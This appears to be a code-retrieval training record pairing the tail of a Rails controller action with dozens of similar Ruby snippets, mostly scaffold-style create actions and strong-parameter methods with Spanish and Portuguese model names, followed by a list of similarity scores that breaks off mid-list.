format.html { render :new }
format.json { render json: @tipo_trabajador.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n params[:trabajador][:rut] = RUT::format(params[:trabajador][:rut])\n\n @trabajador = Trabajador.new(trabajador_params)\n\n\n respond_to do |format|\n if @trabajador.save\n format.html { redirect_to @trabajador, notice: 'Trabajador was successfully created.' }\n format.json { render :show, status: :created, location: @trabajador }\n else\n format.html { render :new }\n format.json { render json: @trabajador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def trabajo_params\n params.require(:trabajo).permit(:planta, :ito, :descripcion, :total, :fecha_termino, :avance, :op, :factura, :observaciones, :i1, :i2, :i3, :i4, :i5, :i6, :i7, :i8, :i9, :i10, :i11, :i12, :v1, :v2, :v3, :v4, :v5, :v6, :v7, :v8, :v9, :v10, :v11, :v12, :centro_costo, :supervisor)\n end",
"def trabajador_params\n params.require(:trabajador).permit(:rut, :apellido1, :apellido2, :nombres, :sexo, :fecha_nac, :edad, :region, :comuna, :prevision, :nacionalidad, :division, :tipo_trabajador, :empresa)\n end",
"def trabajo_params\n params.require(:trabajo).permit(:cliente_id, :descripcion, :tipo_trabajo_id, :fecha, :valor)\n end",
"def resource_params\n params.require(:tratamiento).permit(:tipo)\n end",
"def set_tipo_trabajador\n @tipo_trabajador = TipoTrabajador.find(params[:id])\n end",
"def orden_trabajo_params\n params.require(:orden_trabajo).permit(:pantonera, :cliente, :orden_de_compra, :producto, :grano, :formula_kilos, :tinetas, :fecha, :muestra_color, :colorista_a_cargo)\n end",
"def create\n @trabajo = Trabajo.new(trabajo_params)\n\n respond_to do |format|\n if @trabajo.save\n format.html { redirect_to @trabajo, notice: 'Trabajo was successfully created.' }\n format.json { render :show, status: :created, location: @trabajo }\n else\n format.html { render :new }\n format.json { render json: @trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @tipo_trabajadors = TipoTrabajador.all\n end",
"def trabajo_params\n params.require(:trabajo).permit(:nombre, :precio)\n end",
"def daw_trabajo_params\n params.require(:daw_trabajo).permit(:trab_nombre, :trab_tipo, :trab_telefono, :trab_direccion, :trab_fecha, :trab_estado, :daw_representante_id)\n end",
"def create\n\t\t @trabajo = Trabajo.new(trabajo_params)\n\n\t\t respond_to do |format|\n\t\t if @trabajo.save\n\t\t format.html { redirect_to admin_trabajos_path, notice: 'El Trabajo se ha creado.' }\n\t\t format.json { render :show, status: :created, location: @trabajo }\n\t\t else\n\t\t format.html { render :new }\n\t\t format.json { render json: @trabajo.errors, status: :unprocessable_entity }\n\t\t end\n\t\t end\n\t\t end",
"def create\n tp = tumor_params\n tp[:tipo_tumor], ad, p = tipo(tp)\n if p == nil\n p=0\n end\n @tumor = Tumor.new(tp)\n respond_to do |format|\n if @tumor.save\n format.html { redirect_to @tumor, notice: 'Se registro con exito con tipo de tumor => '+tp[:tipo_tumor].capitalize+\n '.<>Arbol de decision:<>'+\n ad+'<>Con un grado de acierto de: '+\n p.to_s+\n ' y un porcentaje de acierto de 83.19%' }\n format.json { render :show, status: :created, location: @tumor }\n else\n format.html { render :new }\n format.json { render json: @tumor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @orden_trabajo = OrdenTrabajo.new(orden_trabajo_params)\n \n calcula_tinetas!\n actualiza_fecha!\n\n respond_to do |format|\n if actualiza_materias! != false\n if @orden_trabajo.save\n format.html { redirect_to @orden_trabajo, notice: 'La orden de trabajo se creo correctamente.' }\n format.json { render :show, status: :created, location: @orden_trabajo }\n else\n format.html { render :new }\n format.json { render json: @orden_trabajo.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :new }\n format.json { render json: @orden_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tablero = Tablero.new(tablero_params)\n m= params.require(:tablero).permit(:idusuario, :grupo, :descripcion, :e1, :e2, :e3, :puntaje)\n\n params[idusuario.each] do |i|\n miembros=[params[:idusuario[i]]:grupo[i], :descripcion[i], :e1[i], :e2[i], :e3[i], :puntaje[i]]\n end\n\n respond_to do |format|\n if @tablero.save\n format.html { redirect_to @tablero, notice: \"El tablero se creó correctamente\" }\n format.json { render :show, status: :created, location: @tablero }\n else\n format.html { render :new }\n format.json { render json: @tablero.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tipo_trabajador_params\n params.require(:tipo_trabajador).permit(:tpt_descripcion)\n end",
"def create\n @tipo_orden = TipoOrden.new(tipo_orden_params)\n\n respond_to do |format|\n if @tipo_orden.save\n format.html { redirect_to @tipo_orden, notice: 'Tipo orden was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_orden }\n else\n format.html { render :new }\n format.json { render json: @tipo_orden.errors, status: :unprocessable_entity }\n end\n end\n end",
"def detalle_orden_trabajo_params\n params.require(:detalle_orden_trabajo).permit(:orden_trabajo_id, :repuesto_servicio_id, :cantidad, :precio_venta, :subtotal, :total)\n end",
"def create\n @territorio = Territorio.new(params[:territorio])\n\n respond_to do |format|\n if @territorio.save\n format.html { redirect_to @territorio, notice: 'Territorio was successfully created.' }\n format.json { render json: @territorio, status: :created, location: @territorio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @territorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def troca\n @remetente = Sobrevivente.where(id: params[:de]).first\n @destinatario = Sobrevivente.where(id: params[:para]).first\n\n enviar = {agua: 1, comida: 2, medicamento: 3, municao: 4}\n receber = {agua: 0, comida: 2, medicamento: 3, municao: 8}\n\n trocou = @remetente.troca(@destinatario, enviar, receber)\n\n render json: { status: trocou }\n end",
"def create\n @treinamento_ti = TreinamentoTi.new(treinamento_ti_params)\n\n respond_to do |format|\n if @treinamento_ti.save\n format.html { redirect_to @treinamento_ti, notice: 'Treinamento de TI criado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @treinamento_ti }\n else\n format.html { render action: 'new' }\n format.json { render json: @treinamento_ti.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'Tarea was successfully created.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Tipo\n @tipo = Tipo.new(tipo_params)\n log(\"Se ha creado la nomina #{@lt}\", 0)\n\n respond_to do |format|\n if @tipo.save\n format.html { redirect_to tipos_path, notice: 'La nómina fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @tipo }\n else\n format.html { render :new }\n format.json { render json: @tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def trabajo_params\n\t\t params.require(:trabajo).permit(:nombre, :category_id)\n\t\t end",
"def create\n @turma = Turma.new(turma_params)\n @turma.usuario = current_usuario\n @turma.turma_ativa = true\n\n respond_to do |format|\n if @turma.save\n format.html { redirect_to turmas_path, notice: 'Turma salva com sucesso.' }\n format.json { render :show, status: :created, location: @turma }\n else\n format.html { render :new }\n format.json { render json: @turma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trnodo = Trnodo.new(params[:trnodo])\n\n respond_to do |format|\n if @trnodo.save\n format.html { redirect_to @trnodo, notice: 'Trnodo was successfully created.' }\n format.json { render json: @trnodo, status: :created, location: @trnodo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trnodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def turma_params\n params.require(:turma).permit(:nome, :codigo, :ativo)\n end",
"def treinamento_ti_params\n params.require(:treinamento_ti).permit(:orgao_id, :treinamento, :empresa, :qtd_pessoa)\n end",
"def create\n @torso = Torso.new(params[:torso])\n\n respond_to do |format|\n if @torso.save\n format.html { redirect_to @torso, notice: 'Torso was successfully created.' }\n format.json { render json: @torso, status: :created, location: @torso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @torso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def turma_params\n params.require(:turma).permit(:serie, :turno, :ensino, :colegio_id)\n end",
"def create\n @bolsa_trabajo = BolsaTrabajo.new(bolsa_trabajo_params)\n\n respond_to do |format|\n if @bolsa_trabajo.save\n format.html { redirect_to @bolsa_trabajo, notice: 'Bolsa trabajo was successfully created.' }\n format.json { render :show, status: :created, location: @bolsa_trabajo }\n else\n format.html { render :new }\n format.json { render json: @bolsa_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @turma = Turma.new(params[:turma])\n\n respond_to do |format|\n if @turma.save\n format.html { redirect_to @turma, notice: 'Turma criada com sucesso.' }\n format.json { render json: @turma, status: :created, location: @turma }\n else\n format.html { render action: \"new\" }\n format.json { render json: @turma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trabajo = Trabajo.new(trabajo_params)\n @cliente = Cliente.find(params[:cliente_id])\n @trabajo.cliente = @cliente\n\n respond_to do |format|\n if @trabajo.save\n TrabajoMailer.detalle_trabajo(current_user, @cliente, @trabajo).deliver\n\n format.html { redirect_to cliente_path(@cliente), notice: 'Trabajo was successfully created.' }\n format.json { render :show, status: :created, location: @trabajo }\n else\n format.html { render :new }\n format.json { render json: @trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully created.' }\n format.json { render :json => @tecnico, :status => :created, :location => @tecnico }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = Tabla.new(tabla_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Tabla was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @trabalho = Trabalho.new(params[:trabalho])\n @trabalho.user = current_user\n\n respond_to do |format|\n if @trabalho.save\n format.html { redirect_to @trabalho, notice: 'Oferta de Trabalho foi criada com sucesso.' }\n format.json { render json: @trabalho, status: :created, location: @trabalho }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trabalho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tyre = Tyre.new(tyre_params)\n respond_to do |format|\n if @tyre.save\n format.html { redirect_to (:back), notice: 'Treno pneumatici inserito.' }\n format.json { render json: @tyre, status: :created, location: @tyre, content_type: 'text/json' }\n else\n format.html { render action: 'new' }\n format.json { render json: @tyre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def treino_params\n params.require(:treino).permit(:aluno_id, :funcionario_id, :tipo_exercicio_id, :dataTreino)\n end",
"def create\n @trabajador_seccion = TrabajadorSeccion.new(trabajador_seccion_params)\n\n respond_to do |format|\n if @trabajador_seccion.save\n format.html { redirect_to @trabajador_seccion, notice: 'Trabajador seccion was successfully created.' }\n format.json { render :show, status: :created, location: @trabajador_seccion }\n else\n format.html { render :new }\n format.json { render json: @trabajador_seccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @nota_trab = NotaTrab.new(nota_trab_params)\n\n respond_to do |format|\n if @nota_trab.save\n format.html { redirect_to @nota_trab, notice: 'Nota trab was successfully created.' }\n format.json { render :show, status: :created, location: @nota_trab }\n else\n format.html { render :new }\n format.json { render json: @nota_trab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipoapreensao = Tipoapreensao.new(tipoapreensao_params)\n\n respond_to do |format|\n if @tipoapreensao.save\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipoapreensao }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @titulacao = Titulacao.new(titulacao_params)\n\n respond_to do |format|\n if @titulacao.save\n format.html { redirect_to titulacaos_path, notice: 'Titulo criado com successo.' }\n format.json { render :index, status: :created, location: titulacaos_path }\n else\n format.html { render :new }\n format.json { render json: @titulacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trlocalidad = Trlocalidad.new(params[:trlocalidad])\n\n respond_to do |format|\n if @trlocalidad.save\n format.html { redirect_to @trlocalidad, notice: 'Trlocalidad was successfully created.' }\n format.json { render json: @trlocalidad, status: :created, location: @trlocalidad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trlocalidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tipoapreensao_params\n params.require(:tipoapreensao).permit(:ttpcodigo, :ttpatualiza)\n end",
"def set_trabajo\n @trabajo = Trabajo.find(params[:id])\n end",
"def set_trabajo\n @trabajo = Trabajo.find(params[:id])\n end",
"def set_trabajo\n @trabajo = Trabajo.find(params[:id])\n end",
"def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, notice: 'Tecnico criado com sucesso.' }\n format.json { render json: @tecnico, status: :created, location: @tecnico }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bolsa_trabajo_params\n params.require(:bolsa_trabajo).permit(:empleador, :urlImg, :descripcionAbreviada, :descripcionCompleta, :ubicacion, :latitud, :longitud, :requisitos, :requisitosExcluyentes, :sueldo, :horario)\n end",
"def create\n @tipo_unidad = TipoUnidad.new(tipo_unidad_params)\n\n respond_to do |format|\n if @tipo_unidad.save\n format.html { redirect_to @tipo_unidad, notice: 'Tipo unidad was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_unidad }\n else\n format.html { render :new }\n format.json { render json: @tipo_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_actividad = TipoActividad.new(params[:tipo_actividad])\n\n respond_to do |format|\n if @tipo_actividad.save\n format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad was successfully created.' }\n format.json { render json: @tipo_actividad, status: :created, location: @tipo_actividad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @traslado = Traslado.new(traslado_params)\n\n respond_to do |format|\n if @traslado.save\n format.html { redirect_to @traslado, notice: 'Traslado was successfully created.' }\n format.json { render :show, status: :created, location: @traslado }\n else\n format.html { render :new }\n format.json { render json: @traslado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_trabajador\n @trabajador = Trabajador.find(params[:id])\n end",
"def time_treinador_params\n params.require(:time_treinador).permit(:treinador_id_id, :nome)\n end",
"def traslado_params\n params.require(:traslado).permit(:carroza_de_instalacion, :carroza_funeral, :carroza_para_flores, :vehiculo_acompanamiento, :capacidad_pasajeros)\n end",
"def tarifa_params\n params.require(:tarifa).permit(:trf_concepto, :trf_conceptoCodigo, :trf_conceptoAplicacion, :trf_detalleAplicacion, :trf_naturaleza, :trf_tipoProducto, :trf_producto, :trf_promo, :trf_econo, :trf_base, :trf_flexi, :trf_deluxe, :trf_unidadCobro, :trf_fechaInicio, :trf_fechaFin, :trf_estadoRegistro)\n end",
"def create\n @detalle_orden_trabajo = DetalleOrdenTrabajo.new(detalle_orden_trabajo_params)\n @detalle_orden_trabajo.orden_trabajo = @orden_trabajo\n\n respond_to do |format|\n if @detalle_orden_trabajo.save\n format.html { redirect_to @detalle_orden_trabajo.orden_trabajo, notice: 'Detalle fue creado con éxito.' }\n format.json { render :show, status: :created, location: @detalle_orden_trabajo }\n else\n format.html { render :new }\n format.json { render json: @detalle_orden_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipovestuario = Tipovestuario.new(tipovestuario_params)\n\n respond_to do |format|\n if @tipovestuario.save\n format.html { redirect_to @tipovestuario, notice: 'Tipovestuario was successfully created.' }\n format.json { render :show, status: :created, location: @tipovestuario }\n else\n format.html { render :new }\n format.json { render json: @tipovestuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @time_treinador = TimeTreinador.new(time_treinador_params)\n @time_treinador.treinador = @treinador\n\n respond_to do |format|\n if @time_treinador.save\n format.html { redirect_to @time_treinador, notice: 'Time criado com sucesso' }\n format.json { render :show, status: :created, location: @time_treinador }\n else\n format.html { render :new }\n format.json { render json: @time_treinador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_unidad = TipoUnidad.new(tipo_unidad_params)\n\n respond_to do |format|\n if @tipo_unidad.save\n format.html { redirect_to @tipo_unidad, notice: 'Tipo unidad was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipo_unidad }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipo_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Tipo\n @tipo = Tipo.new(tipo_params)\n\n\n respond_to do |format|\n if @tipo.save\n format.html { redirect_to tipos_path, notice: '<i class=\"fa fa-check-square fa-lg\"></i> La nómina fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @tipo }\n else\n format.html { render :new }\n format.json { render json: @tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @daw_trabajo = DawTrabajo.new(daw_trabajo_params)\n\n respond_to do |format|\n if @daw_trabajo.save\n format.html { redirect_to @daw_trabajo, notice: 'Daw trabajo was successfully created.' }\n format.json { render :show, status: :created, location: @daw_trabajo }\n else\n format.html { render :new }\n format.json { render json: @daw_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reuniao = Reuniao.new(reuniao_params)\n @pautum=Pautum.new\n @reuniao.pautum =@pautum\n @reuniao.atum=Atum.new\n @reuniao.status=\"Preparação\"\n @pautum.status=\"Preparação\"\n \n respond_to do |format|\n if @reuniao.save\n @pautum.titulo=@reuniao.titulo\n @pautum.save\n format.html { redirect_to @reuniao, notice: 'Reuniao was successfully created.' }\n format.json { render :show, status: :created, location: @reuniao }\n else\n format.html { render :new }\n format.json { render json: @reuniao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_contrato = TipoContrato.new(params[:tipo_contrato])\n\n respond_to do |format|\n if @tipo_contrato.save\n format.html { redirect_to tipo_contratos_path, notice: 'Tipo de contrato criado com sucesso.' }\n format.json { render json: @tipo_contrato, status: :created, location: @tipo_contrato }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_contrato.errors, status: :unprocessable_entity }\n format.js { render json: @tipo_contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @turma = @disciplina.turmas.new(turma_params)\n\n respond_to do |format|\n if @turma.save\n format.html { redirect_to @turma, notice: 'A Turma foi criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @turma }\n else\n format.html { render action: 'new' }\n format.json { render json: @turma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def crear\n # byebug\n ruta = Ruta.new\n ruta.nombre = params[:ruta][:nombre]\n ruta.descripcion = params[:ruta][:descripcion]\n ruta.subruta = params[:ruta][:subruta]\n ruta.save\n redirect_to action: \"index\"\n\n # respond_to do |format|\n # if @ruta.save\n # format.html { redirect_to @ruta, notice: \"Rutum was successfully created.\" }\n # format.json { render :show, status: :created, location: @ruta }\n # else\n # format.html { render :new }\n # format.json { render json: @ruta.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def add_traza(usuario, movimiento, buzon = nil )\n buzon ||= usuario.puesto.buzon_id\n t = Traza.new(:copia_id => self.id, :movimiento_id => movimiento, :usuario_id => usuario, :buzon_id => buzon)\n # active_scaffold se encarga de grabar la traza\n self.trazas << t\n end",
"def create\n @reltramovano = Reltramovano.new(params[:reltramovano])\n\n respond_to do |format|\n if @reltramovano.save\n format.html { redirect_to @reltramovano, notice: 'Reltramovano was successfully created.' }\n format.json { render json: @reltramovano, status: :created, location: @reltramovano }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reltramovano.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_trabajo\n\t\t @trabajo = Trabajo.find(params[:id])\n\t\t end",
"def create \n @lancamentorapido = Lancamentorapido.new(params[:lancamentorapido])\n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n respond_to do |format|\n if @lancamentorapido.save\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully created.' } \n# format.html { redirect_to '/lancamentorapidos'}\n format.json { render json: lancamentorapidos_path, status: :created, location: @lancamentorapido }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_actividad = TipoActividad.new(tipo_actividad_params)\n\n respond_to do |format|\n if @tipo_actividad.save\n format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad se creó correctamente.' }\n format.json { render :show, status: :created, location: @tipo_actividad }\n else\n format.html { render :new }\n format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_tel = TipoTel.new(params[:tipo_tel])\n\n respond_to do |format|\n if @tipo_tel.save\n format.html { redirect_to @tipo_tel, notice: 'Tipo tel was successfully created.' }\n format.json { render json: @tipo_tel, status: :created, location: @tipo_tel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_tel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_persona = TipoPersona.new(tipo_persona_params)\n\n respond_to do |format|\n if @tipo_persona.save\n format.html { redirect_to @tipo_persona, notice: 'Tipo persona was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_persona }\n else\n format.html { render :new }\n format.json { render json: @tipo_persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @tipo_trabajador.destroy\n respond_to do |format|\n format.html { redirect_to tipo_trabajadors_url }\n format.json { head :no_content }\n end\n end",
"def tarea_params\n params.require(:tarea).permit(:Nombre, :descripcion, :importancia, :fecha)\n end",
"def tratar_datos(tipo_cuenta, total_retito)\n\n \t billete = ContarBilletes(total_retito)\n devuelve = ValorRetirado(billete ,total_retito , tipo_cuenta)\n [billete, devuelve]\n end",
"def create\n @tetramod = Tetramod.new(params[:tetramod])\n\n respond_to do |format|\n if @tetramod.save\n format.html { redirect_to @tetramod, notice: 'Tetramod was successfully created.' }\n format.json { render json: @tetramod, status: :created, location: @tetramod }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tetramod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trabajos = Trabajo.all\n end",
"def create\n @entidad_territorial = EntidadTerritorial.new(entidad_territorial_params)\n\n respond_to do |format|\n if @entidad_territorial.save\n format.html { redirect_to @entidad_territorial, notice: 'Entidad territorial creada exitosamente.' }\n format.json { render :show, status: :created, location: @entidad_territorial }\n else\n format.html { render :new }\n format.json { render json: @entidad_territorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tercero = Tercero.new(tercero_params)\n\n respond_to do |format|\n if @tercero.save\n format.html { redirect_to @tercero, notice: 'Tercero was successfully created.' }\n format.json { render :show, status: :created, location: @tercero }\n else\n format.html { render :new }\n format.json { render json: @tercero.errors, status: :unprocessable_entity }\n end\n end\n end",
"def socioeduk_tipo_tratamento_params\n params.require(:socioeduk_tipo_tratamento).permit(:descricao)\n end",
"def tablero_params\n params.require(:tablero).permit(:nombre, :descripcion, :horainicio, :horafin, :puntos, :abierto, :e1, :e2, :e3, :cronometro)\n \n end",
"def tarifa_params\n params.require(:tarifa).permit(:parqueadero_id, :tipo_de_cupo_id, :valor_minuto, :descripcion)\n end",
"def create\n @treino = Treino.new(treino_params)\n\n respond_to do |format|\n if @treino.save\n format.html { redirect_to @treino, notice: 'Treino was successfully created.' }\n format.json { render :show, status: :created, location: @treino }\n else\n format.html { render :new }\n format.json { render json: @treino.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tipos_usuario_params\r\n params.require(:tipos_usuario).permit(:tipo)\r\n end",
"def tumor_params\n params.require(:tumor).permit(:edad, :genero, :tipo_histologico, :grado_tumor, :hueso, :medula_osea, :pulmon, :pleura, :peritoneum, :higado, :cerebro, :piel, :cuello, :supraclavicular, :axilar, :mediastino, :abdominal, :tipo_tumor, :name, :email)\n end",
"def create\n @ruta = Ruta.new(ruta_params)\n respond_to do |format|\n if params[:parada_inicial] != \"\"\n @inicio = Parada.find(params[:parada_inicial])\n @ruta.parada.push(@inicio)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @inicio.id)\n @ruta_parada.tipo = 1\n @ruta_parada.save\n end\n if params[:parada_final] != \"\"\n @final = Parada.find(params[:parada_final])\n @ruta.parada.push(@final)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @final.id)\n @ruta_parada.tipo = -1\n @ruta_parada.save\n end\n if params[:grupo_paradas] != \"\"\n @paradas = Parada.where(:id => params[:grupo_paradas])\n @ruta.parada << @paradas\n end\n if @ruta.save\n format.html { redirect_to @ruta, notice: 'Ruta was successfully created.' }\n format.json { render :show, status: :created, location: @ruta }\n else\n format.html { render :new }\n format.json { render json: @ruta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipoocorrencium = Tipoocorrencium.new(tipoocorrencium_params)\n\n respond_to do |format|\n if @tipoocorrencium.save\n format.html { redirect_to @tipoocorrencium, notice: 'Tipoocorrencium was successfully created.' }\n format.json { render :show, status: :created, location: @tipoocorrencium }\n else\n format.html { render :new }\n format.json { render json: @tipoocorrencium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tarea_params\n params.require(:tarea).permit(:nombre, :image, :subida, :listo, :user_id)\n end",
"def create\n @tipo_usuario = TipoUsuario.new(params[:tipo_usuario])\n\n respond_to do |format|\n if @tipo_usuario.save\n format.html { redirect_to tipo_usuarios_path, notice: 'Tipo usuario fue creado exitosamente.' }\n format.json { render json: @tipo_usuario, status: :created, location: @tipo_usuario }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trabajo = Trabajo.find(params[:trabajo_id])\n @presupuestos = @trabajo.presupuestos.order(\"aprobado DESC, rechazado ASC\")\n\n add_breadcrumb @trabajo.proposito, trabajo_path(@trabajo)\n add_breadcrumb \"Presupuestos\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @presupuestos }\n end\n end",
"def tarea_params\n params.require(:tarea).permit(:user_id, :proyecto_id, :categoria_id, :descripcion, :prioridad, :fecha_inicio, :fecha_fin, :tiempo, :borrado)\n end",
"def tarea_params\n params.require(:tarea).permit(:fecha, :titulo, :desc, :estado, :establecimiento_id)\n end",
"def create\n @tare = Tare.new(params[:tare])\n\n respond_to do |format|\n if @tare.save\n format.html { redirect_to @tare, notice: 'Tare créée avec succès.' }\n format.json { render json: @tare, status: :created, location: @tare }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tare.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tiendas_juego_params\n params.require(:tiendas_juego).permit(:cantidad)\n end",
"def create\n @titulacion = Titulacion.new(titulacion_params)\n\n respond_to do |format|\n if @titulacion.save\n # flash.now[:notice] = 'Titulacion was successfully created.'\n @titulacions = Titulacion.all.order(\"abrevia\")\n format.html { redirect_to :action => \"index\" }\n format.xml { render :xml => @titulacion, :status => :created, :location => @titulacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @titulacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_orden_trabajo\n @orden_trabajo = OrdenTrabajo.find(params[:id])\n end",
"def create\n @toko = Toko.new(toko_params)\n @toko.user = current_user\n\n respond_to do |format|\n if @toko.save\n format.html { redirect_to '/finish', notice: 'Toko telah dibuat.' }\n format.json { render :show, status: :created, location: @toko }\n else\n format.html { render :new }\n format.json { render json: @toko.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tribe_params\n params.require(:tribe).permit(:slug, :name, :mother_id, :data)\n end"
] |
[
"0.6625965",
"0.6608725",
"0.65799993",
"0.64939344",
"0.6410962",
"0.6407443",
"0.6405803",
"0.6390898",
"0.6349625",
"0.62839717",
"0.62795424",
"0.62637067",
"0.62425405",
"0.62313706",
"0.62252784",
"0.6202286",
"0.61469483",
"0.6119907",
"0.61034614",
"0.610071",
"0.6009057",
"0.5991747",
"0.5981709",
"0.59544504",
"0.59542376",
"0.59114724",
"0.59104496",
"0.5901463",
"0.5885453",
"0.5876872",
"0.5875756",
"0.5867328",
"0.585592",
"0.5851402",
"0.5843335",
"0.5838077",
"0.58303064",
"0.5828348",
"0.58246905",
"0.5799986",
"0.5794278",
"0.5794226",
"0.5793412",
"0.57893646",
"0.57762986",
"0.5772607",
"0.5772607",
"0.5772607",
"0.57704395",
"0.57691646",
"0.57676274",
"0.57673603",
"0.5759874",
"0.57563597",
"0.5751875",
"0.5747263",
"0.5733117",
"0.57295066",
"0.5729381",
"0.5720625",
"0.5715136",
"0.5713599",
"0.5706419",
"0.57037145",
"0.5700381",
"0.57002634",
"0.5699089",
"0.5690737",
"0.5658",
"0.5640029",
"0.56347847",
"0.5630363",
"0.5627483",
"0.5609137",
"0.5600788",
"0.5596022",
"0.5592",
"0.55909646",
"0.55896735",
"0.55847377",
"0.5580193",
"0.55782115",
"0.55769324",
"0.5573457",
"0.55732626",
"0.5569591",
"0.55693895",
"0.55683017",
"0.55673",
"0.55539143",
"0.5551386",
"0.55502987",
"0.55488044",
"0.5544073",
"0.554067",
"0.5535431",
